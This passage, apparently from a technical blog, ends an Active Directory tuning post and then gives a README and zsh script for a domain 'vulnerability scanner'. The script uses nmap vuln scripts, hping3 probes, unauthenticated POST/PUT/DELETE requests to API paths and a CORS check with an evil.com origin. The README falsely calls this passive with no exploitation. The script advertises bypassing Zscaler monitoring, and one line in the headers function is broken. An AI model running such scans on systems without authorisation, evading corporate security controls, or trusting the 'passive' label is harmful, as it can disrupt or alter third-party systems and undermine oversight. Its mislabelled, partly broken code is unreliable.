2. **Start with a lower threshold** (2-3 seconds) to catch more queries
3. **Analyze the CSV** in Excel or Power BI for patterns
4. **Correlate with client IPs** to identify problematic applications
5. **Work with application owners** to optimize queries with indexes or better filters

Once you’ve identified expensive queries:

1. **Add indexes** for frequently searched attributes
2. **Optimize LDAP filters** to be more specific
3. **Reduce search scope** where possible
4. **Implement paging** for large result sets
5. **Cache results** on the client side when appropriate

This script has helped me identify numerous performance bottlenecks in production environments. I hope it helps you optimize your Active Directory infrastructure as well!

Macbook: Enhanced Domain Vulnerability Scanner

Below is a fairly comprehensive passive penetration testing script with vulnerability scanning, API testing, and detailed reporting.

Features

  • DNS & SSL/TLS Analysis – Complete DNS enumeration, certificate inspection, cipher analysis
  • Port & Vulnerability Scanning – Service detection, NMAP vuln scripts, outdated software detection
  • Subdomain Discovery – Certificate transparency log mining
  • API Security Testing – Endpoint discovery, permission testing, CORS analysis
  • Asset Discovery – Web technology detection, CMS identification
  • Firewall Testing – hping3 TCP/ICMP tests (if available)
  • Network Bypass – Uses en0 interface to bypass Zscaler
  • Debug Mode – Comprehensive logging enabled by default

Installation

Required Dependencies

<em># macOS</em>
brew install nmap openssl bind curl jq

<em># Linux</em>
sudo apt-get install nmap openssl dnsutils curl jq

Optional Dependencies

<em># macOS</em>
brew install hping

<em># Linux</em>
sudo apt-get install hping3 nikto

Usage

Basic Syntax

./security_scanner_enhanced.sh -d DOMAIN [OPTIONS]

Options

  • -d DOMAIN – Target domain (required)
  • -s – Enable subdomain scanning
  • -m NUM – Max subdomains to scan (default: 10)
  • -v – Enable vulnerability scanning
  • -a – Enable API discovery and testing
  • -h – Show help

Examples:

<em># Basic scan</em>
./security_scanner_enhanced.sh -d example.com

<em># Full scan with all features</em>
./security_scanner_enhanced.sh -d example.com -s -m 20 -v -a

<em># Vulnerability assessment only</em>
./security_scanner_enhanced.sh -d example.com -v

<em># API security testing</em>
./security_scanner_enhanced.sh -d example.com -a

Network Configuration

Default Interface: en0 (bypasses Zscaler)

To change the interface, edit line 24:

NETWORK_INTERFACE="en0"  <em># Change to your interface</em>

The script automatically falls back to default routing if the interface is unavailable.

Debug Mode

Debug mode is enabled by default and shows:

  • Dependency checks
  • Network interface status
  • Command execution details
  • Scan progress
  • File operations

Debug messages appear in cyan with [DEBUG] prefix.

To disable, edit line 27:

DEBUG=false

Output

Each scan creates a timestamped directory: scan_example.com_20251016_191806/

Key Files

  • executive_summary.md – High-level findings
  • technical_report.md – Detailed technical analysis
  • vulnerability_report.md – Vulnerability assessment (if -v used)
  • api_security_report.md – API security findings (if -a used)
  • dns_*.txt – DNS records
  • ssl_*.txt – SSL/TLS analysis
  • port_scan_*.txt – Port scan results
  • subdomains_discovered.txt – Found subdomains (if -s used)

Scan Duration

Scan TypeDuration
Basic2-5 min
With subdomains+1-2 min/subdomain
With vulnerabilities+10-20 min
Full scan15-30 min

Troubleshooting

Missing dependencies

<em># Install required tools</em>
brew install nmap openssl bind curl jq  <em># macOS</em>
sudo apt-get install nmap openssl dnsutils curl jq  <em># Linux</em>

Interface not found

<em># Check available interfaces</em>
ifconfig

<em># Script will automatically fall back to default routing</em>

Permission errors

<em># Some scans may require elevated privileges</em>
sudo ./security_scanner_enhanced.sh -d example.com

Configuration

Change scan ports (line 325)

<em># Default: top 1000 ports</em>
--top-ports 1000

<em># Custom ports</em>
-p 80,443,8080,8443

<em># All ports (slow)</em>
-p-

Adjust subdomain limit (line 1162)

MAX_SUBDOMAINS=10  <em># Change as needed</em>

Add custom API paths (line 567)

API_PATHS=(
    "/api"
    "/api/v1"
    "/custom/endpoint"  <em># Add yours</em>
)

⚠️ WARNING: Only scan domains you own or have explicit permission to test. Unauthorized scanning may be illegal.

This tool performs passive reconnaissance only:

  • ✅ DNS queries, certificate logs, public web requests
  • ❌ No exploitation, brute force, or denial of service

Best Practices

  1. Obtain proper authorization before scanning
  2. Monitor progress via debug output
  3. Review all generated reports
  4. Prioritize findings by risk
  5. Schedule follow-up scans after remediation

Disclaimer: This tool is for authorized security testing only. The authors assume no liability for misuse or damage.

The Script:

cat > ./security_scanner_enhanced.sh << 'EOF'
#!/bin/zsh

################################################################################
# Enhanced Security Scanner Script v2.0
# Comprehensive security assessment with vulnerability scanning
# Includes: NMAP vuln scripts, hping3, asset discovery, API testing
# Network Interface: en0 (bypasses Zscaler)
# Debug Mode: Enabled
################################################################################

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
MAGENTA='\033[0;35m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# Script version
VERSION="2.0.1"

# Network interface to use (bypasses Zscaler)
NETWORK_INTERFACE="en0"

# Debug mode flag
DEBUG=true

################################################################################
# Usage Information
################################################################################
usage() {
    cat << EOF
Enhanced Security Scanner v${VERSION}

Usage: $0 -d DOMAIN [-s] [-m MAX_SUBDOMAINS] [-v] [-a]

Options:
    -d DOMAIN           Target domain to scan (required)
    -s                  Scan subdomains (optional)
    -m MAX_SUBDOMAINS   Maximum number of subdomains to scan (default: 10)
    -v                  Enable vulnerability scanning (NMAP vuln scripts)
    -a                  Enable API discovery and testing
    -h                  Show this help message

Network Configuration:
    Interface: $NETWORK_INTERFACE (bypasses Zscaler)
    Debug Mode: Enabled

Examples:
    $0 -d example.com
    $0 -d example.com -s -m 20 -v
    $0 -d example.com -s -v -a

EOF
    exit 1
}

################################################################################
# Logging Functions
################################################################################
log_info() {
    echo -e "${BLUE}[INFO]${NC} $1"
}

log_success() {
    echo -e "${GREEN}[SUCCESS]${NC} $1"
}

log_warning() {
    echo -e "${YELLOW}[WARNING]${NC} $1"
}

log_error() {
    echo -e "${RED}[ERROR]${NC} $1"
}

log_vuln() {
    echo -e "${MAGENTA}[VULN]${NC} $1"
}

log_debug() {
    if [ "$DEBUG" = true ]; then
        echo -e "${CYAN}[DEBUG]${NC} $1"
    fi
}

################################################################################
# Check Dependencies
################################################################################
check_dependencies() {
    log_info "Checking dependencies..."
    log_debug "Starting dependency check"
    
    local missing_deps=()
    local optional_deps=()
    
    # Required dependencies
    log_debug "Checking for nmap..."
    command -v nmap >/dev/null 2>&1 || missing_deps+=("nmap")
    log_debug "Checking for openssl..."
    command -v openssl >/dev/null 2>&1 || missing_deps+=("openssl")
    log_debug "Checking for dig..."
    command -v dig >/dev/null 2>&1 || missing_deps+=("dig")
    log_debug "Checking for curl..."
    command -v curl >/dev/null 2>&1 || missing_deps+=("curl")
    log_debug "Checking for jq..."
    command -v jq >/dev/null 2>&1 || missing_deps+=("jq")
    
    # Optional dependencies
    log_debug "Checking for hping3..."
    command -v hping3 >/dev/null 2>&1 || optional_deps+=("hping3")
    log_debug "Checking for nikto..."
    command -v nikto >/dev/null 2>&1 || optional_deps+=("nikto")
    
    if [ ${#missing_deps[@]} -ne 0 ]; then
        log_error "Missing required dependencies: ${missing_deps[*]}"
        log_info "Install missing dependencies and try again"
        exit 1
    fi
    
    if [ ${#optional_deps[@]} -ne 0 ]; then
        log_warning "Missing optional dependencies: ${optional_deps[*]}"
        log_info "Some features may be limited"
    fi
    
    # Check network interface
    log_debug "Checking network interface: $NETWORK_INTERFACE"
    if ifconfig "$NETWORK_INTERFACE" >/dev/null 2>&1; then
        log_success "Network interface $NETWORK_INTERFACE is available"
        local interface_ip=$(ifconfig "$NETWORK_INTERFACE" | grep 'inet ' | awk '{print $2}')
        log_debug "Interface IP: $interface_ip"
    else
        log_warning "Network interface $NETWORK_INTERFACE not found, using default routing"
        NETWORK_INTERFACE=""
    fi
    
    log_success "All required dependencies found"
}

################################################################################
# Initialize Scan
################################################################################
initialize_scan() {
    log_debug "Initializing scan for domain: $DOMAIN"
    SCAN_DATE=$(date +"%Y-%m-%d %H:%M:%S")
    SCAN_DIR="scan_${DOMAIN}_$(date +%Y%m%d_%H%M%S)"
    
    log_debug "Creating scan directory: $SCAN_DIR"
    mkdir -p "$SCAN_DIR"
    cd "$SCAN_DIR" || exit 1
    
    log_success "Created scan directory: $SCAN_DIR"
    log_debug "Current working directory: $(pwd)"
    
    # Initialize report files
    EXEC_REPORT="executive_summary.md"
    TECH_REPORT="technical_report.md"
    VULN_REPORT="vulnerability_report.md"
    API_REPORT="api_security_report.md"
    
    log_debug "Initializing report files"
    > "$EXEC_REPORT"
    > "$TECH_REPORT"
    > "$VULN_REPORT"
    > "$API_REPORT"
    
    log_debug "Scan configuration:"
    log_debug "  - Domain: $DOMAIN"
    log_debug "  - Subdomain scanning: $SCAN_SUBDOMAINS"
    log_debug "  - Max subdomains: $MAX_SUBDOMAINS"
    log_debug "  - Vulnerability scanning: $VULN_SCAN"
    log_debug "  - API scanning: $API_SCAN"
    log_debug "  - Network interface: $NETWORK_INTERFACE"
}

################################################################################
# DNS Reconnaissance
################################################################################
dns_reconnaissance() {
    log_info "Performing DNS reconnaissance..."
    log_debug "Resolving domain: $DOMAIN"
    
    # Resolve domain to IP
    IP_ADDRESS=$(dig +short "$DOMAIN" | grep -E '^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$' | head -n1)
    
    if [ -z "$IP_ADDRESS" ]; then
        log_error "Could not resolve domain: $DOMAIN"
        log_debug "DNS resolution failed for $DOMAIN"
        exit 1
    fi
    
    log_success "Resolved $DOMAIN to $IP_ADDRESS"
    log_debug "Target IP address: $IP_ADDRESS"
    
    # Get comprehensive DNS records
    log_debug "Querying DNS records (ANY)..."
    dig "$DOMAIN" ANY > dns_records.txt 2>&1
    log_debug "Querying A records..."
    dig "$DOMAIN" A > dns_a_records.txt 2>&1
    log_debug "Querying MX records..."
    dig "$DOMAIN" MX > dns_mx_records.txt 2>&1
    log_debug "Querying NS records..."
    dig "$DOMAIN" NS > dns_ns_records.txt 2>&1
    log_debug "Querying TXT records..."
    dig "$DOMAIN" TXT > dns_txt_records.txt 2>&1
    
    # Reverse DNS lookup
    log_debug "Performing reverse DNS lookup for $IP_ADDRESS..."
    dig -x "$IP_ADDRESS" > reverse_dns.txt 2>&1
    
    echo "$IP_ADDRESS" > ip_address.txt
    log_debug "DNS reconnaissance complete"
}

################################################################################
# Subdomain Discovery
################################################################################
discover_subdomains() {
    if [ "$SCAN_SUBDOMAINS" = false ]; then
        log_info "Subdomain scanning disabled"
        log_debug "Skipping subdomain discovery"
        echo "0" > subdomain_count.txt
        return
    fi
    
    log_info "Discovering subdomains via certificate transparency..."
    log_debug "Querying crt.sh for subdomains of $DOMAIN"
    log_debug "Maximum subdomains to discover: $MAX_SUBDOMAINS"
    
    # Query crt.sh for subdomains
    curl -s "https://crt.sh/?q=%25.${DOMAIN}&output=json" | \
        jq -r '.[].name_value' | \
        sed 's/\*\.//g' | \
        sort -u | \
        grep -E "^[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.${DOMAIN}$" | \
        head -n "$MAX_SUBDOMAINS" > subdomains_discovered.txt
    
    SUBDOMAIN_COUNT=$(wc -l < subdomains_discovered.txt)
    echo "$SUBDOMAIN_COUNT" > subdomain_count.txt
    
    log_success "Discovered $SUBDOMAIN_COUNT subdomains (limited to $MAX_SUBDOMAINS)"
    log_debug "Subdomains saved to: subdomains_discovered.txt"
}

################################################################################
# SSL/TLS Analysis
################################################################################
ssl_tls_analysis() {
    log_info "Analyzing SSL/TLS configuration..."
    log_debug "Connecting to ${DOMAIN}:443 for certificate analysis"
    
    # Get certificate details
    log_debug "Extracting certificate details..."
    echo | openssl s_client -connect "${DOMAIN}:443" -servername "$DOMAIN" 2>/dev/null | \
        openssl x509 -noout -text > certificate_details.txt 2>&1
    
    # Extract key information
    log_debug "Extracting certificate issuer..."
    CERT_ISSUER=$(echo | openssl s_client -connect "${DOMAIN}:443" -servername "$DOMAIN" 2>/dev/null | \
        openssl x509 -noout -issuer | sed 's/issuer=//')
    
    log_debug "Extracting certificate subject..."
    CERT_SUBJECT=$(echo | openssl s_client -connect "${DOMAIN}:443" -servername "$DOMAIN" 2>/dev/null | \
        openssl x509 -noout -subject | sed 's/subject=//')
    
    log_debug "Extracting certificate dates..."
    CERT_DATES=$(echo | openssl s_client -connect "${DOMAIN}:443" -servername "$DOMAIN" 2>/dev/null | \
        openssl x509 -noout -dates)
    
    echo "$CERT_ISSUER" > cert_issuer.txt
    echo "$CERT_SUBJECT" > cert_subject.txt
    echo "$CERT_DATES" > cert_dates.txt
    
    log_debug "Certificate issuer: $CERT_ISSUER"
    log_debug "Certificate subject: $CERT_SUBJECT"
    
    # Enumerate SSL/TLS ciphers
    log_info "Enumerating SSL/TLS ciphers..."
    log_debug "Running nmap ssl-enum-ciphers script on port 443"
    if [ -n "$NETWORK_INTERFACE" ]; then
        nmap --script ssl-enum-ciphers -p 443 "$DOMAIN" -e "$NETWORK_INTERFACE" -oN ssl_ciphers.txt > /dev/null 2>&1
    else
        nmap --script ssl-enum-ciphers -p 443 "$DOMAIN" -oN ssl_ciphers.txt > /dev/null 2>&1
    fi
    
    # Check for TLS versions
    log_debug "Analyzing TLS protocol versions..."
    TLS_12=$(grep -c "TLSv1.2" ssl_ciphers.txt || echo "0")
    TLS_13=$(grep -c "TLSv1.3" ssl_ciphers.txt || echo "0")
    TLS_10=$(grep -c "TLSv1.0" ssl_ciphers.txt || echo "0")
    TLS_11=$(grep -c "TLSv1.1" ssl_ciphers.txt || echo "0")
    
    echo "TLSv1.0: $TLS_10" > tls_versions.txt
    echo "TLSv1.1: $TLS_11" >> tls_versions.txt
    echo "TLSv1.2: $TLS_12" >> tls_versions.txt
    echo "TLSv1.3: $TLS_13" >> tls_versions.txt
    
    log_debug "TLS versions found - 1.0:$TLS_10 1.1:$TLS_11 1.2:$TLS_12 1.3:$TLS_13"
    
    # Check for SSL vulnerabilities
    log_info "Checking for SSL/TLS vulnerabilities..."
    log_debug "Running SSL vulnerability scripts (heartbleed, poodle, dh-params)"
    if [ -n "$NETWORK_INTERFACE" ]; then
        nmap --script ssl-heartbleed,ssl-poodle,ssl-dh-params -p 443 "$DOMAIN" -e "$NETWORK_INTERFACE" -oN ssl_vulnerabilities.txt > /dev/null 2>&1
    else
        nmap --script ssl-heartbleed,ssl-poodle,ssl-dh-params -p 443 "$DOMAIN" -oN ssl_vulnerabilities.txt > /dev/null 2>&1
    fi
    
    log_success "SSL/TLS analysis complete"
}

################################################################################
# Port Scanning with Service Detection
################################################################################
port_scanning() {
    log_info "Performing comprehensive port scan..."
    log_debug "Target IP: $IP_ADDRESS"
    log_debug "Using network interface: $NETWORK_INTERFACE"
    
    # Quick scan of top 1000 ports
    log_info "Scanning top 1000 ports..."
    log_debug "Running nmap with service version detection (-sV) and default scripts (-sC)"
    if [ -n "$NETWORK_INTERFACE" ]; then
        nmap -sV -sC --top-ports 1000 "$IP_ADDRESS" -e "$NETWORK_INTERFACE" -oN port_scan_top1000.txt > /dev/null 2>&1
    else
        nmap -sV -sC --top-ports 1000 "$IP_ADDRESS" -oN port_scan_top1000.txt > /dev/null 2>&1
    fi
    
    # Count open ports
    OPEN_PORTS=$(grep -c "^[0-9]*/tcp.*open" port_scan_top1000.txt || echo "0")
    echo "$OPEN_PORTS" > open_ports_count.txt
    log_debug "Found $OPEN_PORTS open ports"
    
    # Extract open ports list with versions
    log_debug "Extracting open ports list with service information"
    grep "^[0-9]*/tcp.*open" port_scan_top1000.txt | awk '{print $1, $3, $4, $5, $6}' > open_ports_list.txt
    
    # Detect service versions for old software
    log_info "Detecting service versions..."
    log_debug "Filtering service version information"
    grep "^[0-9]*/tcp.*open" port_scan_top1000.txt | grep -E "version|product" > service_versions.txt
    
    log_success "Port scan complete: $OPEN_PORTS open ports found"
}

################################################################################
# Vulnerability Scanning
################################################################################
vulnerability_scanning() {
    if [ "$VULN_SCAN" = false ]; then
        log_info "Vulnerability scanning disabled"
        log_debug "Skipping vulnerability scanning"
        return
    fi
    
    log_info "Performing vulnerability scanning (this may take 10-20 minutes)..."
    log_debug "Target: $IP_ADDRESS"
    log_debug "Using network interface: $NETWORK_INTERFACE"
    
    # NMAP vulnerability scripts
    log_info "Running NMAP vulnerability scripts..."
    log_debug "Starting comprehensive vulnerability scan on all ports (-p-)"
    if [ -n "$NETWORK_INTERFACE" ]; then
        nmap --script vuln -p- "$IP_ADDRESS" -e "$NETWORK_INTERFACE" -oN nmap_vuln_scan.txt > /dev/null 2>&1 &
    else
        nmap --script vuln -p- "$IP_ADDRESS" -oN nmap_vuln_scan.txt > /dev/null 2>&1 &
    fi
    VULN_PID=$!
    log_debug "Vulnerability scan PID: $VULN_PID"
    
    # Wait with progress indicator
    log_debug "Waiting for vulnerability scan to complete..."
    while kill -0 $VULN_PID 2>/dev/null; do
        echo -n "."
        sleep 5
    done
    echo
    
    # Parse vulnerability results
    if [ -f nmap_vuln_scan.txt ]; then
        log_debug "Parsing vulnerability scan results"
        grep -i "VULNERABLE" nmap_vuln_scan.txt > vulnerabilities_found.txt || echo "No vulnerabilities found" > vulnerabilities_found.txt
        VULN_COUNT=$(grep -c "VULNERABLE" nmap_vuln_scan.txt || echo "0")
        echo "$VULN_COUNT" > vulnerability_count.txt
        log_success "Vulnerability scan complete: $VULN_COUNT vulnerabilities found"
        log_debug "Vulnerability details saved to: vulnerabilities_found.txt"
    fi
    
    # Check for specific vulnerabilities
    log_info "Checking for common HTTP vulnerabilities..."
    log_debug "Running HTTP vulnerability scripts on ports 80,443,8080,8443"
    if [ -n "$NETWORK_INTERFACE" ]; then
        nmap --script http-vuln-* -p 80,443,8080,8443 "$IP_ADDRESS" -e "$NETWORK_INTERFACE" -oN http_vulnerabilities.txt > /dev/null 2>&1
    else
        nmap --script http-vuln-* -p 80,443,8080,8443 "$IP_ADDRESS" -oN http_vulnerabilities.txt > /dev/null 2>&1
    fi
    log_debug "HTTP vulnerability scan complete"
}

################################################################################
# hping3 Testing
################################################################################
hping3_testing() {
    if ! command -v hping3 >/dev/null 2>&1; then
        log_warning "hping3 not installed, skipping firewall tests"
        log_debug "hping3 command not found in PATH"
        return
    fi
    
    log_info "Performing hping3 firewall tests..."
    log_debug "Target: $IP_ADDRESS"
    log_debug "Using network interface: $NETWORK_INTERFACE"
    
    # TCP SYN scan
    log_info "Testing TCP SYN response..."
    log_debug "Sending 5 TCP SYN packets to port 80"
    if [ -n "$NETWORK_INTERFACE" ]; then
        timeout 10 hping3 -S -p 80 -c 5 -I "$NETWORK_INTERFACE" "$IP_ADDRESS" > hping3_syn.txt 2>&1 || true
    else
        timeout 10 hping3 -S -p 80 -c 5 "$IP_ADDRESS" > hping3_syn.txt 2>&1 || true
    fi
    log_debug "TCP SYN test complete"
    
    # TCP ACK scan (firewall detection)
    log_info "Testing firewall with TCP ACK..."
    log_debug "Sending 5 TCP ACK packets to port 80 for firewall detection"
    if [ -n "$NETWORK_INTERFACE" ]; then
        timeout 10 hping3 -A -p 80 -c 5 -I "$NETWORK_INTERFACE" "$IP_ADDRESS" > hping3_ack.txt 2>&1 || true
    else
        timeout 10 hping3 -A -p 80 -c 5 "$IP_ADDRESS" > hping3_ack.txt 2>&1 || true
    fi
    log_debug "TCP ACK test complete"
    
    # ICMP test
    log_info "Testing ICMP response..."
    log_debug "Sending 5 ICMP echo requests"
    if [ -n "$NETWORK_INTERFACE" ]; then
        timeout 10 hping3 -1 -c 5 -I "$NETWORK_INTERFACE" "$IP_ADDRESS" > hping3_icmp.txt 2>&1 || true
    else
        timeout 10 hping3 -1 -c 5 "$IP_ADDRESS" > hping3_icmp.txt 2>&1 || true
    fi
    log_debug "ICMP test complete"
    
    log_success "hping3 tests complete"
}

################################################################################
# Asset Discovery
################################################################################
asset_discovery() {
    log_info "Performing detailed asset discovery..."
    log_debug "Creating assets directory"
    
    mkdir -p assets
    
    # Web technology detection
    log_info "Detecting web technologies..."
    log_debug "Fetching HTTP headers from https://${DOMAIN}"
    curl -s -I "https://${DOMAIN}" | grep -i "server\|x-powered-by\|x-aspnet-version" > assets/web_technologies.txt
    log_debug "Web technologies saved to: assets/web_technologies.txt"
    
    # Detect CMS
    log_info "Detecting CMS and frameworks..."
    log_debug "Analyzing page content for CMS signatures"
    curl -s "https://${DOMAIN}" | grep -iE "wordpress|joomla|drupal|magento|shopify" > assets/cms_detection.txt || echo "No CMS detected" > assets/cms_detection.txt
    log_debug "CMS detection complete"
    
    # JavaScript libraries
    log_info "Detecting JavaScript libraries..."
    log_debug "Searching for common JavaScript libraries"
    curl -s "https://${DOMAIN}" | grep -oE "jquery|angular|react|vue|bootstrap" | sort -u > assets/js_libraries.txt || echo "None detected" > assets/js_libraries.txt
    log_debug "JavaScript libraries saved to: assets/js_libraries.txt"
    
    # Check for common files
    log_info "Checking for common files..."
    log_debug "Testing for robots.txt, sitemap.xml, security.txt, etc."
    for file in robots.txt sitemap.xml security.txt .well-known/security.txt humans.txt; do
        log_debug "Checking for: $file"
        if curl -s -o /dev/null -w "%{http_code}" "https://${DOMAIN}/${file}" | grep -q "200"; then
            echo "$file: Found" >> assets/common_files.txt
            log_debug "Found: $file"
            curl -s "https://${DOMAIN}/${file}" > "assets/${file//\//_}"
        fi
    done
    
    # Server fingerprinting
    log_info "Fingerprinting server..."
    log_debug "Running nmap HTTP server header and title scripts"
    if [ -n "$NETWORK_INTERFACE" ]; then
        nmap -sV --script http-server-header,http-title -p 80,443 "$IP_ADDRESS" -e "$NETWORK_INTERFACE" -oN assets/server_fingerprint.txt > /dev/null 2>&1
    else
        nmap -sV --script http-server-header,http-title -p 80,443 "$IP_ADDRESS" -oN assets/server_fingerprint.txt > /dev/null 2>&1
    fi
    
    log_success "Asset discovery complete"
}

################################################################################
# Old Software Detection
################################################################################
detect_old_software() {
    log_info "Detecting outdated software versions..."
    log_debug "Creating old_software directory"
    
    mkdir -p old_software
    
    # Parse service versions from port scan
    if [ -f service_versions.txt ]; then
        log_debug "Analyzing service versions for outdated software"
        
        # Check for old Apache versions
        log_debug "Checking for old Apache versions..."
        grep -i "apache" service_versions.txt | grep -E "1\.|2\.0|2\.2" > old_software/apache_old.txt || true
        
        # Check for old OpenSSH versions
        log_debug "Checking for old OpenSSH versions..."
        grep -i "openssh" service_versions.txt | grep -E "[1-6]\." > old_software/openssh_old.txt || true
        
        # Check for old PHP versions
        log_debug "Checking for old PHP versions..."
        grep -i "php" service_versions.txt | grep -E "[1-5]\." > old_software/php_old.txt || true
        
        # Check for old MySQL versions
        log_debug "Checking for old MySQL versions..."
        grep -i "mysql" service_versions.txt | grep -E "[1-4]\." > old_software/mysql_old.txt || true
        
        # Check for old nginx versions
        log_debug "Checking for old nginx versions..."
        grep -i "nginx" service_versions.txt | grep -E "0\.|1\.0|1\.1[0-5]" > old_software/nginx_old.txt || true
    fi
    
    # Check SSL/TLS for old versions
    if [ "$TLS_10" -gt 0 ] || [ "$TLS_11" -gt 0 ]; then
        log_debug "Outdated TLS protocols detected"
        echo "Outdated TLS protocols detected: TLSv1.0 or TLSv1.1" > old_software/tls_old.txt
    fi
    
    # Count old software findings
    OLD_SOFTWARE_COUNT=$(find old_software -type f ! -empty | wc -l)
    echo "$OLD_SOFTWARE_COUNT" > old_software_count.txt
    
    if [ "$OLD_SOFTWARE_COUNT" -gt 0 ]; then
        log_warning "Found $OLD_SOFTWARE_COUNT outdated software components"
        log_debug "Outdated software details saved in old_software/ directory"
    else
        log_success "No obviously outdated software detected"
    fi
}

################################################################################
# API Discovery
################################################################################
api_discovery() {
    if [ "$API_SCAN" = false ]; then
        log_info "API scanning disabled"
        log_debug "Skipping API discovery"
        return
    fi
    
    log_info "Discovering APIs..."
    log_debug "Creating api_discovery directory"
    
    mkdir -p api_discovery
    
    # Common API paths
    API_PATHS=(
        "/api"
        "/api/v1"
        "/api/v2"
        "/rest"
        "/graphql"
        "/swagger"
        "/swagger.json"
        "/api-docs"
        "/openapi.json"
        "/.well-known/openapi"
    )
    
    log_debug "Testing ${#API_PATHS[@]} common API endpoints"
    for path in "${API_PATHS[@]}"; do
        log_debug "Testing: $path"
        HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "https://${DOMAIN}${path}")
        if [ "$HTTP_CODE" != "404" ]; then
            echo "$path: HTTP $HTTP_CODE" >> api_discovery/endpoints_found.txt
            log_debug "Found API endpoint: $path (HTTP $HTTP_CODE)"
            curl -s "https://${DOMAIN}${path}" > "api_discovery/${path//\//_}.txt" 2>/dev/null || true
        fi
    done
    
    # Check for API documentation
    log_info "Checking for API documentation..."
    log_debug "Testing for Swagger UI and API docs"
    curl -s "https://${DOMAIN}/swagger-ui" > api_discovery/swagger_ui.txt 2>/dev/null || true
    curl -s "https://${DOMAIN}/api/docs" > api_discovery/api_docs.txt 2>/dev/null || true
    
    log_success "API discovery complete"
}

################################################################################
# API Permission Testing
################################################################################
api_permission_testing() {
    if [ "$API_SCAN" = false ]; then
        log_debug "API scanning disabled, skipping permission testing"
        return
    fi
    
    log_info "Testing API permissions..."
    log_debug "Creating api_permissions directory"
    
    mkdir -p api_permissions
    
    # Test common API endpoints without authentication
    if [ -f api_discovery/endpoints_found.txt ]; then
        log_debug "Testing discovered API endpoints for authentication issues"
        while IFS= read -r endpoint; do
            API_PATH=$(echo "$endpoint" | cut -d: -f1)
            
            # Test GET without auth
            log_info "Testing $API_PATH without authentication..."
            log_debug "Sending unauthenticated GET request to $API_PATH"
            HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "https://${DOMAIN}${API_PATH}")
            echo "$API_PATH: $HTTP_CODE" >> api_permissions/unauth_access.txt
            log_debug "Response: HTTP $HTTP_CODE"
            
            # Test common HTTP methods
            log_debug "Testing HTTP methods on $API_PATH"
            for method in GET POST PUT DELETE PATCH; do
                HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" -X "$method" "https://${DOMAIN}${API_PATH}")
                if [ "$HTTP_CODE" = "200" ] || [ "$HTTP_CODE" = "201" ]; then
                    log_warning "$API_PATH allows $method without authentication (HTTP $HTTP_CODE)"
                    echo "$API_PATH: $method - HTTP $HTTP_CODE" >> api_permissions/method_issues.txt
                fi
            done
        done < api_discovery/endpoints_found.txt
    fi
    
    # Check for CORS misconfigurations
    log_info "Checking CORS configuration..."
    log_debug "Testing CORS headers with evil.com origin"
    curl -s -H "Origin: https://evil.com" -I "https://${DOMAIN}/api" | grep -i "access-control" > api_permissions/cors_headers.txt || true
    
    log_success "API permission testing complete"
}

################################################################################
# HTTP Security Headers
################################################################################
http_security_headers() {
    log_info "Analyzing HTTP security headers..."
    log_debug "Fetching headers from https://${DOMAIN}"
    
    # Get headers from main domain
    curl -I "https://${DOMAIN}" 2>/dev/null > http_headers.txt
    
    # Check for specific security headers
    declare -A HEADERS=(
        ["x-frame-options"]="X-Frame-Options"
        ["x-content-type-options"]="X-Content-Type-Options"
        ["strict-transport-security"]="Strict-Transport-Security"
        ["content-security-policy"]="Content-Security-Policy"
        ["referrer-policy"]="Referrer-Policy"
        ["permissions-policy"]="Permissions-Policy"
        ["x-xss-protection"]="X-XSS-Protection"
    )
    
    log_debug "Checking for security headers"
    > security_headers_status.txt
    for header in "${!HEADERS[@]}"; do
        if grep -qi "^${header}:" http_headers.txt; then
 security_headers_status.txt
        else
            echo "${HEADERS[$header]}: Missing" >> security_headers_status.txt
        fi
    done
    
    log_success "HTTP security headers analysis complete"
}

################################################################################
# Subdomain Scanning
################################################################################
scan_subdomains() {
    if [ "$SCAN_SUBDOMAINS" = false ] || [ ! -f subdomains_discovered.txt ]; then
        log_debug "Subdomain scanning disabled or no subdomains discovered"
        return
    fi
    
    log_info "Scanning discovered subdomains..."
    log_debug "Creating subdomain_scans directory"
    
    mkdir -p subdomain_scans
    
    local count=0
    while IFS= read -r subdomain; do
        count=$((count + 1))
        log_info "Scanning subdomain $count/$SUBDOMAIN_COUNT: $subdomain"
        log_debug "Testing accessibility of $subdomain"
        
        # Quick check if subdomain is accessible
        HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "https://${subdomain}" --max-time 5)
        
        if echo "$HTTP_CODE" | grep -q "^[2-4]"; then
            log_debug "$subdomain is accessible (HTTP $HTTP_CODE)"
            
            # Get headers
            log_debug "Fetching headers from $subdomain"
            curl -I "https://${subdomain}" 2>/dev/null > "subdomain_scans/${subdomain}_headers.txt"
            
            # Quick port check (top 100 ports)
            log_debug "Scanning top 100 ports on $subdomain"
            if [ -n "$NETWORK_INTERFACE" ]; then
                nmap --top-ports 100 "$subdomain" -e "$NETWORK_INTERFACE" -oN "subdomain_scans/${subdomain}_ports.txt" > /dev/null 2>&1
            else
                nmap --top-ports 100 "$subdomain" -oN "subdomain_scans/${subdomain}_ports.txt" > /dev/null 2>&1
            fi
            
            # Check for old software
            log_debug "Checking service versions on $subdomain"
            if [ -n "$NETWORK_INTERFACE" ]; then
                nmap -sV --top-ports 10 "$subdomain" -e "$NETWORK_INTERFACE" -oN "subdomain_scans/${subdomain}_versions.txt" > /dev/null 2>&1
            else
                nmap -sV --top-ports 10 "$subdomain" -oN "subdomain_scans/${subdomain}_versions.txt" > /dev/null 2>&1
            fi
            
            log_success "Scanned: $subdomain (HTTP $HTTP_CODE)"
        else
            log_warning "Subdomain not accessible: $subdomain (HTTP $HTTP_CODE)"
        fi
    done < subdomains_discovered.txt
    
    log_success "Subdomain scanning complete"
}

################################################################################
# Generate Executive Summary
################################################################################
generate_executive_summary() {
    log_info "Generating executive summary..."
    log_debug "Creating executive summary report"
    
    cat > "$EXEC_REPORT" << EOF
# Executive Summary
## Enhanced Security Assessment Report

**Target Domain:** $DOMAIN  
**Target IP:** $IP_ADDRESS  
**Scan Date:** $SCAN_DATE  
**Scanner Version:** $VERSION  
**Network Interface:** $NETWORK_INTERFACE

---

## Overview

This report summarizes the comprehensive security assessment findings for $DOMAIN. The assessment included passive reconnaissance, vulnerability scanning, asset discovery, and API security testing.

---

## Key Findings

